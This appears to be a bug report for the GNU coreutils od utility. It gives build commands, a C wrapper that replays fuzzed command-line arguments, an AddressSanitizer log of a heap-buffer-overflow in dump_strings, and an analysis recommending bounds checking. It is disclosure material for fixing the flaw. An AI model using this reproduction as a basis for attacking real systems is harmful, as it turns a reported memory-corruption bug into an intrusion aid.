###### Build options
```
git clone https://github.com/coreutils/coreutils
export GNULIB_SRCDIR=./gnulib
export FORCE_UNSAFE_CONFIGURE=1
./bootstrap
CC="clang -g -fsanitize=address" CXX="clang -g -fsanitize=address" ./configure $CONFIG_OPTIONS
make -j
```
###### od version
```
$ src/od --version
od (GNU coreutils) 9.7.52-b7db77
Copyright (C) 2025 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Written by Jim Meyering.
```
###### reproduce script
```c
// gcc -o replay_od replay_od.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#define MAX_CMDLINE_LEN 100000
#define MAX_CMDLINE_PAR 1000
int main() {
static char in_buf[MAX_CMDLINE_LEN];
static char *argv[MAX_CMDLINE_PAR];
char *ptr = in_buf;
int rc = 0;
int n = read(0, in_buf, MAX_CMDLINE_LEN - 2);
if (n <= 0) {
perror("read");
exit(1);
}
while (*ptr) {
argv[rc] = ptr;
if (argv[rc][0] == 0x02 && !argv[rc][1]) {
argv[rc]++;
}
rc++;
while (*ptr) ptr++;
ptr++;
}
argv[0] = "od";
// exec od with parsed argv
execvp("src/od", argv);
perror("execvp failed");
return 1;
}
```This is a C wrapper program that automatically sets argv to reproduce the vulnerability. It is a simple wrapper around the od program and does not modify the original od binary.
###### ASAN log
```
$ ./replay_od < /root/250623/od-poc
od: 'u'$'\353''d'$'\001''4 '\'''$'\350\003\346\346\346\346\027\027\027\027\027\027\027\027''!'$'\027\027\027\027\027\027\027\027\027\027\027\027\027\027\027\027''{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{'$'\024''{{{{'$'\200\016\377\377''{{{{{{{{{{{s{{'$'\220''{{{{'$'\213\207\213\213\213\213\213\213\213\213\213\213\213\213''}'$'\213\213\213\213\213\213\213\213\213\213''E': No such file or directory
=================================================================
==1151699==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6150000004f9 at pc 0x0000004d153f bp 0x7fff937f0410 sp 0x7fff937f0408
WRITE of size 1 at 0x6150000004f9 thread T0
#0 0x4d153e in dump_strings coreutils/src/od.c:1570:14
#1 0x4d153e in main coreutils/src/od.c:2037:30
#2 0x7fc132ca6d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#3 0x7fc132ca6e3f in __libc_start_main csu/../csu/libc-start.c:392:3
#4 0x41f664 in _start (coreutils/src/od+0x41f664)
0x6150000004f9 is located 0 bytes to the right of 505-byte region [0x615000000300,0x6150000004f9)
allocated by thread T0 here:
#0 0x49c843 in __interceptor_realloc (coreutils/src/od+0x49c843)
#1 0x4ddcea in rpl_realloc coreutils/./lib/stdlib.h:2095:10
#2 0x4ddcea in xrealloc coreutils/lib/xmalloc.c:66:13
#3 0x4ddcea in xpalloc coreutils/lib/xmalloc.c:271:8
#4 0x7fc132ca6d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
SUMMARY: AddressSanitizer: heap-buffer-overflow coreutils/src/od.c:1570:14 in dump_strings
Shadow bytes around the buggy address:
0x0c2a7fff8040: fd fd fd fd fd fd fd fd fd fd fd fa fa fa fa fa
0x0c2a7fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c2a7fff8060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c2a7fff8070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c2a7fff8080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c2a7fff8090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00[01]
0x0c2a7fff80a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c2a7fff80b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c2a7fff80c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c2a7fff80d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c2a7fff80e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==1151699==ABORTING
```
###### Description
```
1513 static bool
1514 dump_strings (void)
1515 {
1516 idx_t bufsize = MAX (100, string_min);
1517 char *buf = xmalloc (bufsize);
...
1550 while (!limit_bytes_to_format || address < end_offset)
1551 {
1552 if (i == bufsize)
1553 buf = xpalloc (buf, &bufsize, 1, -1, sizeof *buf);
1554 ok &= read_char (&c);
1555 address++;
1556 if (c < 0)
1557 {
1558 free (buf);
1559 return ok;
1560 }
1561 if (c == '\0')
1562 break; /* It is; print this string. */
1563 if (! isprint (c))
1564 goto tryline; /* It isn't; give up on this string. */
1565 buf[i++] = c; /* String continues; store it all. */
1566 }
...
1570 buf[i] = 0;
1571 format_address (address - i - 1, ' ');
```
The vulnerability occurs in the dump_strings function. The variable buf is allocated with a size of bufsize, which is limited to a maximum of 100 bytes.
However, inside the while loop, the variable i is incremented by 1 on each iteration. When the attached PoC file is passed as arguments to the od program, the value of i can exceed 100. This leads to a heap buffer overflow vulnerability.
An attacker could potentially exploit this by manipulating both the i and c values, resulting in dangerous modifications to the buf chunk on the heap.
Therefore, we recommend adding proper bounds checking for the i variable to prevent this issue.